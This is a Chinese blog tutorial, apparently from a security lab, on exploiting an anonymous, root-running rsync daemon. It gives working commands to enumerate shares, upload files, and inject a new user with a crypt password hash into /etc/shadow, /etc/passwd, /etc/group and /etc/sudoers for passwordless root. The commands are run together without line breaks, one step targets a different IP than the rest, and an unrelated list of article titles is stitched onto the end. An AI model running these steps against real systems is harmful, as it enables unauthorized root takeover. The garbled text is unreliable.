本文将根据针对Linux操作系统上不安全的Rsync配置,浅谈如何利用rsync服务进行攻击。

1、什么是RSYNC?

Rsync是用于在两个服务器(通常是Linux)之间传输和同步文件的实用程序。它通过检查文件大小和时间戳来确定同步。根据经验发现,在进行渗透测试期间,发现约有三分之一的服务器并没有安全配置Rsync。然而,弱配置通常会导致服务器上的敏感数据未经授权访问,甚至还会让攻击者活动webshell。

远程访问通过Rsync共享的目录需要两件事,文件共享访问和文件权限。

Rsync的配置方式如下:

1. 可以在/etc/Rsyncd.conf中定义“ 文件共享访问”, 以提供匿名或经过身份验证的访问。

2.还可以通过定义rsync服务将以其身份运行的用户,在/etc/rsyncd.conf中定义文件访问权限。如果将rsync配置为以root用户身份运行,则允许连接的任何人都可以使用root用户的特权来访问共享文件。

rsyncd.conf文件的示例,该文件允许匿名root用户访问整个文件系统:

motd file = /etc/Rsyncd.motdlock file = /var/run/Rsync.locklog file = /var/log/Rsyncd.logpid file = /var/run/Rsyncd.pid
[files]path = /comment = Remote file share.uid = 0gid = 0read only = nolist = yes

2、对目标站点进行nmap扫描rsync服务

rsync服务默认在873端口监听。通过nmap发现开启rsync服务

nmap 10.10.10.134

列举目录和文件

列举目录    rsync 10.10.10.134    列举子目录内容    rsync 10.10.10.134::files    递归列出目录和文件    rsync -r 10.10.10.134::files/tmp/    下载文件夹    rsync -r 10.10.10.134::files/home/test/    通过RSYNC上传文件    使用Rsync上传文件的命令。。    上传文件    rsync ./myfile.txt 10.10.10.134::files/home/test    上载文件夹    rsync -r ./myfolder 10.10.10.134::files/home/test    通过Rsync创建新用户

如果rsync配置为以root身份运行并且可以匿名访问,则可以通过直接修改shadow,passwd,group和sudoers文件来创建新的特权Linux用户。

注意:相同的通用方法可用于提供对操作系统的完全写入访问权限的任何漏洞。其他一些示例包括NFS导出和上载以root用户身份运行的Web Shell。

通过rsync创建新用户

创建主目录让我们从创建新用户的主目录开始。

# Create local work directoriesmkdir demomkdir backupcd demo # Create new user’s home directorymkdir ./myuserrsync -r ./myuser 10.10.10.134::files/home

shadow文件

/etc /shadow文件是Linux密码文件,其中包含用户信息,例如主目录和加密密码。它只能由root访问。

要通过rsync注入新的用户,必须:

1. 生成密码。

2. 下载/ etc / shadow。(备份)

3. 将新用户追加到/ etc /shadow的末尾

4. 上传/覆盖现有的/ etc /shadow

注意:确保创建系统上新用户。

创建加密密码:

openssl passwd -crypt password123将新用户条目添加到/ etc / shadow:rsync -R 10.10.10.134::files/etc/shadow .cp ./etc/shadow ../backupecho "myuser:MjHKz4C0Z0VCI:17861:0:99999:7:::" >> ./etc/shadowrsync ./etc/shadow 10.10.10.134::files/etc/

passwd文件

/ etc / passwd文件用于跟踪有权访问系统的注册用户。它不包含加密的密码。所有用户都可以阅读。

要通过rsync注入新的用户条目,您必须:

1. 创建要注入的用户条目。

2. 下载/ etc / passwd。(并备份它,以便以后可以恢复状态)

3. 将新用户条目追加到passwd的末尾。

4. 上传/覆盖现有的/ etc / passwd

注意:可以随意更改为uid,但请确保它与/ etc / group文件中设置的值匹配。在这种情况下,UID / GUID为1021。

将新用户条目添加到/ etc / passwd:rsync -R 10.10.10.134::files/etc/passwd .cp ./etc/passwd ../backupecho "myuser:x:1021:1021::/home/myuser:/bin/bash" >> ./etc/passwdrsync ./etc/passwd 10.10.10.134::files/etc/

将新用户添加到用户组当中

/ etc / group文件用于跟踪系统上已注册的组信息。它不包含加密的密码。所有用户都可以阅读。

要通过rsync注入新的用户条目,您必须:

1. 创建要注入的用户条目。

2. 下载/ etc / group。(和备份,以防万一)

3. 将新用户条目追加到组末尾。

4. 上传/覆盖现有的/ etc / group文件。

注意:可以随意更改为uid,但请确保它与/ etc / passwd文件中设置的值匹配。在这种情况下,UID / GUID为1021。将新用户条目添加到/ etc / group:

rsync -R 10.10.10.134::files/etc/group .cp ./etc/group ../backupecho "myuser:x:1021:" >> ./etc/grouprsync ./etc/group 10.10.10.134::files/etc/

创建sudoers

文件目录/ etc / sudoers文件包含允许使用sudo命令以root用户身份运行命令的用户列表。它只能由root读取。我们将对其进行修改,以允许新用户通过sudo执行任何命令。

要通过rsync注入条目,前提条件:

1. 创建要注入的用户条目。

2. 下载/ etc / sudoers。(和备份,以防万一)

3. 将新用户条目追加到sudoers的末尾。

4. 上传/覆盖现有的/ etc / sudoers文件。

将新用户条目添加到/ etc / sudoers:

rsync -R 10.10.10.134::files/etc/sudoers .cp ./etc/sudoers ../backupecho "myuser ALL=(ALL) NOPASSWD:ALL" >> ./etc/sudoers   rsync ./etc/sudoers 192.168.1.171::files/etc/

然后,只需使用新创建的用户通过SSH连接,执行sudo root就完成了。


手握日月摘星辰,安全路上永不止步。

                                                   - Khan攻防安全实验室

rsync命令_浅谈利用rsync服务的攻击相关推荐

  1. python np array归一化_浅谈利用numpy对矩阵进行归一化处理的方法

    浅谈利用numpy对矩阵进行归一化处理的方法 本文不讲归一化原理,只介绍实现(事实上看了代码就会懂原理),代码如下: def Normalize(data): m = np.mean(data) mx ...

  2. 《计算机辅助教学及应用实践研究》,《论文_浅谈计算机辅助教学(定稿)》

    <论文_浅谈计算机辅助教学(定稿)> (3页) 本资源提供全文预览,点击全文预览即可全文预览,如果喜欢文档就下载吧,查找使用更方便哦! 9.9 积分 摘要:计算机辅助教学中要用到多媒体课件 ...

  3. SAP License:浅谈利用借贷做销售业务调整处理

    浅谈利用借贷做销售业务调整处理 借贷项订单主要是用来对不能手工过帐的会计科目进行小差异的调整或者作为专门用途来调整相关的科目金额.是订单的一种,只是与标准的订单类型.字段状态不同而已.在实际作业中可以 ...

  4. python判断两个对象是否为相等使用的运算符是_Python入门_浅谈逻辑判断与运算符...

    这是关于Python的第6篇文章,主要介绍下逻辑判断与运算符. (一) 逻辑判断: 如果要实现一个复杂的功能程序,逻辑判断必不可少.逻辑判断的最基本标准:布尔类型. 布尔类型只有两个值:True和Fa ...

  5. mysql cdc采集_浅谈CDC在微服务中的应用

    原标题:浅谈CDC在微服务中的应用 CDC(Change Data Capture)是一种通过监测数据变更(变更包括新增.修改.删除等)而对变更的数据进行进一步处理的一种设计模式,通常应用在数据仓库以 ...

  6. python sys模块作用_浅谈Python中的模块

    模块 为了编写可维护的代码,我们把很多函数分组,分别放到不同的文件里,这样,每个文件包含的代码就相对较少,很多编程语言都采用这种组织代码的方式.在Python中,一个.py文件就称之为一个模块(Mod ...

  7. java 中的单元测试_浅谈Java 中的单元测试

    单元测试编写 Junit 单元测试框架 对于Java语言而言,其单元测试框架,有Junit和TestNG这两种, 下面是一个典型的JUnit测试类的结构 package com.example.dem ...

  8. linux 易语言窗口程序_浅谈Linux入门的基本知识

    浅谈Linux入门的基本知识 图形模式与文字模式的切换方式Linux预设提供了六个命令窗口终端机让我们来登录. 默认我们登录的就是第一个窗口,也就是tty1,这个六个窗口分别为tty1.tty2 - ...

  9. java方法区对象类型_浅谈Java内存区域与对象创建过程

    一.java内存区域 Java虚拟机在执行Java程序的过程中会把它所管理的内存划分为若干个不同的数据区域.这些区域都有各自的用途,以及创建和销毁的时间,有的区域随着虚拟机进程的启动而存在,有的区域则 ...

最新文章

  1. github创建静态页面_如何在10分钟内使用GitHub Pages创建免费的静态站点
  2. 量化人类社会交互行为
  3. mysql分页limit运算,MySQL的limit分页查询及性能问题
  4. WebMvcConfigurer
  5. 网络编程——第一篇 基础之进程线程
  6. 51 nod 1522 上下序列——序列dp
  7. 如何开始使用任何类型的数据? - 第1部分
  8. 华为交换机命令_华为交换机常用命令
  9. 用Trivy扫描容器镜像
  10. 剑指Offer_07_斐波那契数列
  11. [.net]c#登陆实现验证码-图形编程
  12. SCI论文从入门到精通(一)——如何选题
  13. CentOS 7.x 安装教程、硬盘分区、LVM、网络配置、软件源配置、制作USB Disk、U盘安装、网络安装...
  14. IDEA 设置 vue 支持开发
  15. 计算机键盘上每一个键的作用,电脑键盘上各种键的作用是什么 电脑键盘上每个键的作用说明【图文】...
  16. sqlserver 时间计算函数
  17. signature=1be7575a614ba3597c2c53247a739d1c,18-02-07【摄影机系统】ARRI大画幅摄影机系统常见问题解答...
  18. 第一性原理 《禅与计算机程序设计艺术》 / 陈光剑
  19. 入坑esp-01s 1.3寸OLED带农历时钟及天气显示(四)
  20. 中级微观经济学:Chap 12 不确定性

热门文章

  1. 【大型网站技术实践】初级篇:搭建MySQL主从复制经典架构
  2. PHP中类明明存在 但class_exists 确检测不到的坑: 使用完整命名空间
  3. PHP的各种参数设置ini_set:内存 错误等级 session
  4. Linux之Server环境配置
  5. koa router ajax,ajax 请求 koa2 router.post 404
  6. java 重用性_Java开发重用性必备的三大核心知识点
  7. keras实现简单lstm_四十二.长短期记忆网络(LSTM)过程和keras实现股票预测
  8. skype可以卸载吗_Skype、WhatsApp登录不上、经常掉线如何解决?史上最强攻略
  9. python获取键盘输入_python如何获取键盘输入
  10. python人机猜拳游戏_Python实现剪刀石头布小游戏(与电脑对战)